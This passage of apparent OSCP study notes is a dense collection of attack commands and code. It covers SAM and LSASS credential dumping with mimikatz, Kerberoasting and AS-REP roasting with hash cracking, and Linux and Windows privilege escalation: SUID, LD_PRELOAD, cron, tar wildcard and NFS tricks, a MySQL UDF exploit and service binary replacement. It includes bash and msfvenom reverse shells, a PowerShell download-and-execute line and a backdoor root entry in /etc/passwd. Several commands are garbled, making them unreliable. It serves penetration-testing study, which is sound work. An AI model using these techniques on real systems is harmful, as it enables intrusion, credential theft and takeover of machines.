First check whether ur able to copy or read sam by going here:

c:\Windows\System32\config\sam

So to dump sam hashes we can use shadow copy services which performs bckup while apps read/write on vols using this

Wmic shadowcopy call create volume ='C:\'

or

vssadmin create shadow /for=C:

Now to verify dest and shadow volume created use this

Vssadmin list shadows

As SAM is encrypted in rc4 or aes we need key to decrypt it which is stored in the files system so now we have to copy both the files to our shadow volume from C drive.

Copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam

Copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system

reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg

reg save HKLM\system C:\users\Administrator\Desktop\system-reg

Now a cool trick . You don't have to waste ur time doing scp and shit to transfer files to ur machine. Use this simply in ur machine and boom

impacket-secretsdump <usernameusedinrdp>:'passusedinrdp'@<tgtipfromwhichfilehastobecopied>

#LSASS[local security authority subsystem service]

Goto taskmgr and try dumping lsass.exe it won't let you until and unless we disable it but if we have real admin creds we candump it but for now lsass has been protected from extracting creds so we will disable it

Go to mimikatz and try

token::elevate {if you're an admin then this is neeeded}

Privilege::debug
Sekurlsa::logonpasswords {dump hashes for all users logged on to the current workstation or server, including remote logins like Remote Desktop sessions.}

Will get an error like this ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Luckily mimikatz have mimidrv.sys driver that works on kernel level to disable the lsass protection so we can import that by using this cmd:

Mimikatz # !+

OSCP Page 34
Once driver is loaded use this for disabling

!processprotect /process:lsass.exe /remove

And then use the cmd:

Sekurlsa::logonpasswords

#WINDOWS CREDS MANAGER

Goto cred manager and check web and win creds if possible to view them from the pass you used to rdp then good and if not then let's do it

vaultcmd /list

VaultCmd /listproperties:"Web Credentials"

As it's not showing we can use ps script https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 which is installed for us already for us so use this

Import-Module C:\Tools\Get-WebCredentials.ps1
PS C:\Users\Administrator> Get-WebCredentials

An alternative of this is to use it as RunAs and /savecred arg allows us to save passwd in cred manager so next we execute assame user it won't ask the passwd

Go to thm user and use this cmd:

Cmdkey /list == which is a tool to create, delete, and display stored Windows credentials.

Runas /savecred /user:THM.red\thm-local cmd.exe and you're in

Other Alternative is to use mimikatz again to dump clear-txt passwds stored in cred manager from memory.

Privilege::debug

Sekurlsa::credman == credman - List Credentials Manager

#LOCAL ADMIN PASSWORD SOLUTION

Alternative mthd to enumerate and obtain local admin pass withing AD only if LAPS is enabled check it by this cmd:

gpresult /r

Get-Command *AdmPwd* This checks available cmdlets for LAPS

Find-AdmPwdExtendedRights -Identity * -- it finds list of all OU's with extended rights or or Get-LAPSComputers this will work only if you have the https://github.com/leoloobeek/LAPSToolkit script

net groups "<grpname>" or use this Find-LAPSDelegatedGroups

Get-AdmPwdPassword -ComputerName creds-harvestin to get the creds

# OTHER ATTACKS - KERBEROASTING

python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast

GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

impacket-GetUserSPNs -dc-ip <> -request <domTHM.red>/<usr> -- {this will find an spn acc to which we can request tgt and tgs.}

python GetUserSPNs.py jurassic.park/triceratops:Sh4rpH0rns -outputfile hashes.kerberoast {retrieve all the TGS’s by using the impacket example GetUserSPNs.py.} {linux}

Rubeus.exe kerberoast This will dump the Kerberos hash of any kerberoastable users {windows}

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") {For PWS}

PS C:\Users\triceratops> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

FOR CRACKING : {kerberoast}

hashcat -m 13100 --force -a 0 hashes.kerberoast

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast

GetNPUsers.py <domain>/<user>:<password> -dc-ip <DC_IP> -request {with pass for finding as-rep roastable acc's}

OSCP Page 35
GetNPUsers.py <domain>/<user>:<password> -dc-ip <DC_IP> -request {with pass for finding as-rep roastable acc's}

GetNPUsers.py <domain>/ -no-pass -dc-ip <DC_IP> {without password}

impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete

Rubeus.exe asreproast /nowrap - This will run the AS-REP roast command looking for vulnerable users and then dump found vulnerable user hashes.

.\Rubeus.exe asreproast /nowrap /format:hashcat - {same can be used for kerberoast}

FOR CRACKING : {asrep}

hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

john --wordlist=passwords_kerb.txt hashes.asreproast

Once we find the SPN user, we can send a single request to get a TGS ticket for the srv-user user using the -request-user argument.

impacket-GetUserSPNs -dc-ip <> THM.red/thm -request-user <user we got>

Now a lil trick to make hashcat easier

We can see krb5tgs okay

Use this cmd:

Hashcat --help | grep Kerberos and it would be easy to find the code now and crack it

Do use these just to practice

https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/
https://github.com/GhostPack/Seatbelt
https://github.com/SnaffCon/Snaffler

# EXTRAS

Admin -> SYSTEM

To escalate from an admin user to full SYSTEM privileges, you


can use the PsExec tool from Windows Sysinternals

> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe

To start an interactive session on the remote host, we need to invoke PsExec64.exe with the -i argument, followed by the target hostname prepended with two backslashes. We'll then specify the domain\username
as corp\jen for the -u argument and Nexus123! as the password for the -p arguments.

./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd

Active Directory Hardening Room


holo network room for ad
from the AD track, i would only do Forest, Sauna and Active

OSCP Page 36
LIN PRIVESC
Monday, December 4, 2023 5:08 PM

#COMMON CMDS TO LOOK FOR FIRST


/proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed.

Systems can also be identified by looking at the /etc/issue and /etc/*-release contains info about the OS

cat /etc/issue

cat /etc/os-release

uname -a

Ps -aux == aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x).

The following command will show all processes that are


running as root:
$ ps aux | grep "^root"

Running the program with the --version/-v command line option often shows the
version number:
$ <program> --version
$ <program> -v

On Debian-like distributions, dpkg can show installed programs and their version:
$ dpkg -l | grep <program>

On systems that use rpm, the following achieves the same:


$ rpm –qa | grep <program>

Cat etc/passwd | cut -d ":" -f 1 -- displaying all the users but u can always use grep home then use cut to filter out

cat ~/.*history | less -- View the contents of all the hidden history files in the user's home directory:

netstat -a: shows all listening ports and established connections.


netstat -at or netstat -au can also be used to list TCP or UDP protocols respectively.
netstat -l: list ports in “listening” mode. These ports are open and ready to accept incoming connections.

netstat -ano which could be broken down as follows;

-a: Display all sockets


-n: Do not resolve names
-o: Display timers

In command prompt type: for finsing ssh keys

find / -name authorized_keys 2> /dev/null

find / -name id_rsa 2> /dev/null

find . -name flag1.txt: find the file named “flag1.txt” in the current directory
find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory
find / -type d -name config: find the directory named config under “/”
find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)

find /etc -maxdepth 1 -writable -type f Find all writable files in /etc

$ find /etc -maxdepth 1 -readable -type f Find all readables files in /etc

find / -perm -o x -type d 2>/dev/null : Find world-executable folders and we use -type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output.

find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.

if /etc/shadow is writable only then you can generate ur new hash by this and replace it with that of root: can also do to /etc/passwd by replacing X at first and also create new roots

mkpasswd -m sha-512 newpasswordhere {can copy to /etc/shadow and login as same user created also do see the convention before adding it in /e tc/shadow;)}

or

openssl passwd newpasswordhere {only for /etc/passwd}

echo "hellu:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

#KERNEL EXPLOITS
OSCP Page 37
#KERNEL EXPLOITS
Cat /proc/version to find the kernel version

Now find the exploit for this specific version and try 2 to 3 as some don't work so chill

Download it in ur machine and for exp if it's ofs_32 or 327292.c then use this cmd

Gcc 327292.c -o ofs

in the tgt machine go to tmp folder as we might not able to grep the file due to perm issues.

Sudo python3 -m http.server 80 or leave it as it is

On tgt machine use this

Wget http://<vpnip>:80/ofs

Now on tgt machine give +x perm to this and run it and boom you're in

#COMPILE TYPES

Basic compiling
gcc 43418.c -o exploit

compiling 32 bit on 64 bit kali


apt-get install gcc-9-base libgcc-9-dev libc6-dev apt-get install gcc-multilib gcc --static -m32 -Wl,--hash-style=both sploit.c -o test

Compile with static lib, when lib on target is different


gcc --static -Wl,--hash-style=both exploit-2.c -o exploit-2

Certainly! Compiling with static linking (--static) allows you to create an executable that doesn't depend on external libraries, ensuring compatibility on systems that might not have the
required shared libraries available.
Here's a breakdown of the command:

gcc --static -Wl,--hash-style=both exploit-2.c -o exploit-2

• gcc: The GNU Compiler Collection.


• --static: Flags the linker to link libraries statically, meaning it includes all libraries in the binary, avoiding external dependencies.
• -Wl,--hash-style=both: Passes an option (--hash-style=both) to the linker (-Wl) to set the symbol hash style. This flag is architecture-dependent, and its effect might vary based on the target
platform.

This command compiles exploit-2.c into an executable named exploit-2 with static linking, reducing external dependencies.
Additional ways to compile with static linking or handle library issues:
Link Static Libraries Directly:

gcc -static exploit-2.c -o exploit-2

This compiles exploit-2.c with static linking directly.


Specifying Specific Libraries to Link Statically:

gcc -static-libgcc -static-libstdc++ exploit-2.c -o exploit-2

This flags the compiler to link only the GNU C and C++ libraries statically.
Cross-Compilation for Different Architectures: To compile for architectures other than your host system (e.g., compiling for ARM on an x86_64 system):

gcc --static -march=arm exploit-2.c -o exploit-2-arm

This uses the -march flag to specify the target architecture.


Handling Different Library Versions: Sometimes, the target system might have a different version of a library. You can compil e against a specific library version on your system:

gcc -static -L/path/to/custom/libs -Wl,-rpath=/path/to/custom/libs exploit-2.c -o exploit-2

This links against libraries in a custom path (/path/to/custom/libs) and sets the runtime library search path (-rpath) accordingly.
Using ld for Linking: You can also use ld (the GNU linker) directly to link statically:

ld -static exploit-2.o -o exploit-2

This command directly links the object file exploit-2.o into a statically linked executable exploit-2.

#SUDO EXPLOITS

To find current situation of ur permissions use this

OSCP Page 38
Sudo -l

Once you found that you have few perms go here https://gtfobins.github.io/#find for using the program in sudo mode

You have the sudo perm for nano so type this:

Sudo nano this will open text editor

^R and then ^X to execute cmd

reset; sh 1>&0 2>&0 for escalating privileges

For apache2 you can try this cmd:

sudo apache2 -f /etc/shadow

We can enumerate the


loaded kernel modules using lsmod without any additional arguments.

$ lsmod

#SUID EXPLOITS

find / -type f -perm -04000 -ls 2>/dev/null -- will list files that have SUID or SGID bits set.

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -- better than above one as it will also display files sgids too and suids.

You must have got base64 . Go to https://gtfobins.github.io/gtfobins/base64/ to see how it works.

Now you need the contents of /etc/shadow file to get the user password and we don't have the privileges so let's use gtfobins

$ LFILE= /etc/shadow -- this will inject shadow file in the LFILE which is encoded by base64

Now for decoding the LFILE we use this cmd:

$ /usr/bin/base64 "$LFILE" | base64 --decode -- and it will decode the contents of the shadow file and it will then display the hashes of the user we need

Crack it using john .user.hash

Now for the flag same method using base64 decoding.

But let's look at an alternate method now if we don't have base64 in suid

From the 1st cmd we can see nano has a suid bit set so it will display the contents of the file so save shadow and passwd fil es as .txt and crack it using cmd:

Unshadow passwd.txt shadow.txt > passwords.txt

Best simple alternative to use for exam.

int main() {
setuid(0);
system("/bin/bash -p");
}
$ gcc -o <name> <filename.c>

Another Alternate method if we have nothing but can access /etc/passwd then we have to do this:

Create a user and the password and the hashvalue of that password and save it in /etc/passwd file

Openssl passwd -1 -salt THM password12 -- this will generate the hash for us .

So now append it using nano or something

as the last root:/bin/bash was used to provide a root shell so use that for our user as well

Switch to the user by su <usr>and boom you're the root now.

The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection. -- if you find these kinda stuff then follow-along

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

strace: This command traces system calls made by a program. When used with an executable (/usr/local/bin/suid -so in this case), it tracks the system calls made by that program. It provides detailed
information about system calls like open, access, etc., including files or resources accessed or opened during its execution.

grep: It searches for patterns in the output. In this command, grep -iE "open|access|no such file" is searching for lines containing the words "open," "access," or "no such file" (case -insensitive) in the output
generated by strace.

you get one file it calls but is not found anywhere so you can create that file by this code:

#include <stdio.h>

OSCP Page 39
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
setuid(0);
system("/bin/bash -p");
}

Inject() here is used so that it runs before the main() automatically and It calls setuid(0) to attempt to escalate privilege s by changing the effective user ID to root. after it launches interactive shell by -p usage.

this can only work if you have some sufficient privileges else it won't work.

mkdir /home/user/.config

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

-shared: Instructs the compiler to generate a shared object file, which contains code that can be linked to and loaded during runtime by programs.
-fPIC: Stands for "Position Independent Code," which generates code that can be placed at any memory address during runtime. T his is essential for shared libraries.
-o /home/user/.config/libcalc.so: Specifies the output file name and path for the compiled shared object file. In this case, i t will be stored in /home/user/.config and named libcalc.so.
/home/user/tools/suid/libcalc.c: Specifies the path to the C source file (libcalc.c) that will be compiled into the shared ob ject file.

/usr/local/bin/suid-so -- boom you're in

The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

for this first run the file and see how it works and and if you can see it starts apache2 server so now check it in detail by this cmd:

strings /usr/local/bin/suid-env

In the context of strings /usr/local/bin/suid-env, it will display any readable strings present in the /usr/local/bin/suid-env binary file. This might include visible text or strings that are hardcoded within the
executable, which could potentially reveal information about the file's functionality, variable names, or certain commands us ed in the binary.

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc -o service /home/user/tools/suid/service.c

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid -env executable to gain a root shell:
PATH=.:$PATH /usr/local/bin/suid-env

Similar case but in this service has the absolute path for starting apache2 web server.

In this make bash function using this cmd:

function /usr/sbin/service { /bin/bash -p }


export -f /usr/sbin/service

now start the suid-env2 and see the magic.

Alternative for env2

Exploitation Method #1

Linux VM

1. In command prompt type:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

2. In command prompt type:

export -f /usr/sbin/service

3. In command prompt type: /usr/local/bin/suid-env2

Exploitation Method #2

Linux VM

1. In command prompt type:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

#CAPABILITIES EXPLOITS

<fullpath>/getcap -r / 2>/dev/null to get all the caps listed

We found vim which sounds interesting so search it up on gtfobins and see caps section there https://gtfobins.github.io/gtfobins/vim/

If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileg ed access by manipulating its own process UID.

NOTE: also look if it has +ep flag specifying that these capabilities are effective and permitted.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3.

./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' {also try without ./ as it may work with or without it}

OSCP Page 40
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' {also try without ./ as it may work with or without it}

If not setcap then do it by using the below cmd:

cp $(which vim) .
sudo setcap cap_setuid+ep vim

BOOM!! You're root

ANOTHER FOR PEARL :->>>

The two perl binaries stand out as they have setuid capabilities enabled, along with the +ep flag specifying that these capab ilities are effective and permitted.

search gtfobins for perl and we found this :) perl | GTFOBins

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

BOOM!! You're root

#CRONJOB EXPLOITS

Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.

cat /etc/crontab

or

ls -lah /etc/cron*

sudo crontab -l {To view the current user's scheduled jobs, we can run crontab followed by the -l parameter.}

grep "CRON" /var/log/syslog

grep "CRON" /var/log/cronlog or cron.log {if doesn't work cat and read it simply;))}

Embedd a rev shell in .py cronjob you have access of by visiting here: https://www.revshells.com/

Ex of a bash revshell:

bash-i >& /dev/tcp/10.10.10.10/90010>&1

Start a listener on ur machine and wait for a min and don't execute the file yourself also do give +x perms.

Also you can do this

make a .sh file and add this code:

#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

and wait for the cronjob and boom you're in

WILD CARDS:->

now if you are able to use tar somewhere then create a file with this code:

#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *

tar is a utility used to create archives and the c flag signifies creating an archive.
z flag compresses the archive using gzip.
f flag indicates the file name of the archive, in this case, /tmp/backup.tar.gz.
* selects all files and directories in the current directory (/home/user) as the content to be archived.

gen a simple rev shell from msfvenom using this:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

scp shell.elf <uname>@ip:/home/user or can use wget

Create two special files:


Create these files in /home/user/:

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

ALTERNATIVE:

cd /home/james
touch privesc.sh

OSCP Page 41
touch privesc.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh privesc.sh'

Our malicous file:-


====================
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/ankit\nchmod 4777 /tmp/ankit' > privesc.sh #Worked

These files are crafted with names that are valid tar command line options.
When the cron job runs the tar command using a wildcard (*), it includes the special files created earlier. Tar, interpreting these filenames as command line options, executes the specified command
(shell.elf).

ANOTHER TRICK:->>>

We could also inspect the cron log file (/var/log/cron.log) for running cron jobs:

grep "CRON" /var/log/syslog

#PATH EXPLOITS

Echo $PATH to see the available path

If a folder for which your user has write permission is located in the path, you could potentially hijack an application to r un a script. PATH in Linux is an environmental variable that tells the operating system
where to search for executables. For any command that is not built into the shell or that is not defined with an absolute pat h, Linux will start searching in folders defined under PATH. (PATH is the
environmental variable we're talking about here, path is the location of a file).

What folders are located under $PATH


Does your current user have write privileges for any of these folders?
Can you modify $PATH?
Is there a script/application you can start that will be affected by this vulnerability?

find / -writable -type d 2>/dev/null


find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u -- to find all the writables and list them

We found that /home/user is writable which is weird

We found 2 files .py and one executable file after which we found that it's searching for an executable thm file which is not present yet so let's create one:

Nano thm and in there write this code:

#!/bin/bash

Sudo su or /bin/bash and save it and it will then run as an executable and make us root

Chmod 777 and +s this file

Add /home/user path to the $PATH variable by:

Export PATH=/home/user:$PATH

Verify it by:
Echo $PATH

And now run the ./test and see the magic . More ways here https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

Alternative for ENV variables

create a file code.c and add this cmd :

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}

-- unsetenv("LD_PRELOAD");: Clears the LD_PRELOAD environment variable. LD_PRELOAD is a mechanism in Unix -like systems that allows a user to preload libraries before any other library to intercept
system calls or override specific functions. Clearing LD_PRELOAD ensures that no other shared objects are preloaded before th is one.

-- setresuid(0, 0, 0);: Sets the real, effective, and saved user IDs to 0, effectively elevating privileges to root. This is an attempt to gain root-level permissions.

-- system("/bin/bash -p");: Invokes the /bin/bash shell with the -p flag, which attempts to run the shell with elevated privileges

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

Using sudo LD_PRELOAD=/tmp/preload.so program-name-here, you execute a program (replace program-name-here with an allowed program from sudo -l).
This action should spawn a root shell, allowing you escalated privileges to execute commands as root.

OSCP Page 42
sudo LD_PRELOAD=/tmp/preload.so find or nano

Alternative for ENV variables 2

create a code.c or preload.c thing and add this:

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

static void hijack() __attribute__((constructor));:

This line declares a function named hijack as a constructor function.


Constructors in C are special functions that are executed automatically when a shared library is loaded by a program, before main() is executed.
void hijack():

This function definition is the constructor function declared above.


It's marked to run automatically upon loading the shared library.
unsetenv("LD_LIBRARY_PATH");:

This function call removes the LD_LIBRARY_PATH environment variable.


LD_LIBRARY_PATH specifies additional directories to search for shared libraries before the standard directories.

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

sudo LD_LIBRARY_PATH=/tmp apache2

#NFS EXPLOITS

NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server install ation and can usually be read by users.

The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS w ill change the root user to nfsnobody and strip any file from operating with root
privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.

Check this option by

Cat /etc/exports

Showmount -e <ip> -- which can be done remotely in our machine as well

Mkdir on tmp as temp folder in ur machine

Then mount it to attack machine by this cmd:

Mount -o <tgtip>:/tmp or any mounted dir of tgt /tmp/temp -- this will mount our made dir to the attack machine

Nano code.c and write this code :

#include <stdio.h> can keep or remove all three


#include <stdlib.h>
#include <unistd.h>

int main (void){


setuid(0);
setgid(0);
system("/bin/bash -p"); can do this too system("/bin/bash");
return 0;
}

Alternative of this code


#include <stdio.h>
#include <stdlib.h>

int main() {
// Command to execute sudo su
char command[] = "sudo su";

printf("Executing command: %s\n", command);

// Execute the command


system(command);

return 0;
}

Gcc code.c -o code -w

Sudo chown root:root code

OSCP Page 43
Sudo chown root:root code

Chmod +s code

Now run this code in attack machine and boom

#EXTRAS

MySQL has the ability to install User Defined Functions


(UDF) which run via shared objects.

4. Follow the instructions in this exploit to compile and


install a UDF which executes system commands:
https://www.exploit-db.com/exploits/1518

Note: some commands may require slight modification.


Privilege Escalation

gcc -g -c raptor_udf2.c -fPIC

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

mysql -u root -p

mysql> use mysql;


mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/hecker/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so'


--> ;

mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');

exit

/tmp/rootbash -p

and boom

Port Forwarding for mysqld


netstat -nl -- 3306

ssh -R 4444:127.0.0.1:3306 root@<urip>

now on other tab use this cmd:

mysql -u root -h 127.0.0.1 -P 4444 and boom your traffic will be forwarded over the ssh connection and you will be connected to debian mysql server remotely

confirm it by this cmd: select @@hostname;

Port Forwarding do it from here :-> https://www.youtube.com/watch?v=dIqoULXmhXg

In some instances, a root process may be bound to an internal port,


through which it communicates.
If for some reason, an exploit cannot run locally on the target machine,
the port can be forwarded using SSH to your local machine:
The exploit code can now be run on your local machine at whichever
port you chose.
$ ssh -R <local-port>:127.0.0.1:<target-port> <username>@<local-machine>

OSCP Page 44
OSCP Page 45
WIN PRIVESC
Tuesday, December 5, 2023 9:25 PM

#COMMON COMMANDS

Get-LocalGroup

Get-LocalGroupMember ""

net localgroup ""

net user /domain

Get-LocalUser

systeminfo

ipconfig /all

route print {To display the routing table, which contains all routes of the system} NOTE:->> The output of this command is useful to determine possible attack vectors to other systems or networks.

netstat -ano {To list all active network connections}

whoami /groups or all

To check all installed applications. We can query two registry keys13 to list both 32-bit and 64-bit applications:

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Get-Process {to identify which of them are currently running.}

Get-CimInstance Win32_Process -Filter "name = '<unique_process_name>.exe'" | Select-Object Name, ProcessId, CommandLine {locating the dir of the service running from:->>}

accesschk.exe "users" C:\ {checking perms of the users in C drive}

#PASS HARVESTING FROM COMMON SPOTS

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Or an interesting thing you can do is use this :

Dir /b /a /s c:\ > cdirs.txt -- will generate list of every single files and it's subfiles in output format and then use this cmd:

type cdirs.txt | findstr /i passwd


type c:\Windows\Panther\unattend.xml | findstr /i pass
type c:\Users\IEUser\Downloads\ultravnc.ini -- finding pass in virtual network comp and we might get config settings and authentication details as passwds

net use -- for viewing shared folders

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

And for PS :

type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Get-History {powershell history of a user}

(Get-PSReadlineOption).HistorySavePath

Interestingly, Clear-History does not clear the command history recorded by PSReadline. Therefore, we can check if the user in our example misunderstood the Clear-History Cmdlet to clear all traces of
previous commands.

To retrieve the history from PSReadline, we can use Get-PSReadlineOption to obtain information from the PSReadline module.

Cmdkey /list to get info from creds mngr and if there's some info you can run the below cmd to gain shell

runas /savecred /user:admin cmd.exe

Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or
configured authentication mechanisms.

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

OSCP Page 46
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations
can be stored for later use.

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s -- for stored creds.

if you found the creds in any session for admin then you can do this for elevating priv:

winexe -U 'admin%pass123' //<ip> cmd.exe and it will login to admin but since it's admin you can tweak it and elevate it to system account too by this:

winexe -U 'admin%pass123' --system //<ip> cmd.exe

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

Use winPEAS to check common password locations:

> .\winPEASany.exe quiet filesinfo userinfo

Recursively search for files in the current directory with “pass” in the name, or ending in “.config”:

> dir /s *pass* == *.config

Recursively search for files in the current directory that contain the word “password” and also end in either .xml, .ini, .txt, .pdf and so on

> findstr /si password *.xml *.ini *.txt *.pdf *.config *.php *.db *.html

>findstr /si "passwd password" *.xml *.ini *.txt *.pdf *.config *.php *.db *.html *.yml *.json *.env

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\Users\<username>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx, *.ini -File -Recurse -ErrorAction SilentlyContinue

A secret script attack to get creds from win creds manager


powershell import-module <path>\cms.ps1 ; Enum-creds and boom you're in

#SERVICE BINARY HI-JACKING

Every windows has a service which have a binary file. these binary files are executed when service is started or gone into running state naturally or forcefully;))

get a list of all installed Windows services, we can choose various methods such as the GUI snap-in services.msc, the Get-Service Cmdlet, or the Get-CimInstance Cmdlet (superseding Get-WmiObject).

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Get-CimInstance -ClassName Win32_Service: Retrieves information about all services from the system using WMI (Windows Management Instrumentation).
| Select-Object Name, State, PathName: Narrows down the output to show only the service name, its current state, and the path to its executable.
| Where-Object {$_.State -like 'Running'}: Filters the list to include only services that are currently running.

or if you're having gui access then :

Win+R > services.msc

MASK PERMISSIONS
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access

most relevant icacls permissions mask;))

perm is a permission mask and can be specified in one of two forms:


a sequence of simple rights:
N - no access
F - full access
M - modify access
RX - read and execute access
R - read-only access
W - write-only access
D - delete access
a comma-separated list in parentheses of specific rights:
DE - delete
RC - read control
WDAC - write DAC
WO - write owner
S - synchronize
AS - access system security
MA - maximum allowed

OSCP Page 47
MA - maximum allowed
GR - generic read
GW - generic write
GE - generic execute
GA - generic all
RD - read data/list directory
WD - write data/add file
AD - append data/add subdirectory
REA - read extended attributes
WEA - write extended attributes
X - execute/traverse
DC - delete child
RA - read attributes
WA - write attributes
inheritance rights may precede either form and are applied
only to directories:
(OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container

icacls Music /grant Susan:(OI)(CI)(F)

icacls "C:\xampp\apache\bin\httpd.exe"

icacls "C:\xampp\mysql\bin\mysqld.exe"

icacls "C:\BackupMonitor\BackupMonitor.exe"

as we got a Full permissions on mysqld.exe we can write a simple code in c to create a binary which will create a user and add it to Administrators group;))

#include <stdlib.h>
int main ()
{
int i;

i = system ("net user dave2 password123! /add");


i = system ("net localgroup administrators dave2 /add");

return 0;
}

now cross-compile it using the below cmd to win 64 {do check yours before doing it:->}

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe {compiles a C program named adduser.c into an executable file called adduser.exe using the MinGW-w64 GCC compiler for 64-bit Windows applications.}

move C:\xampp\mysql\bin\mysqld.exe mysqld.exe {copies the original .exe to our home dir so we can replace the original in it's place after priv esc;)}

move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe {copies malicious file in place of original file;))}

net stop mysql

net start mysql

if it worked then boom login with the user you made and find the flag:)

OSCP Page 48
if it says access is denied then we can check the startup service type and if it's automatic we just have to restart the pc and it will be done so let's check it by the below cmd:->

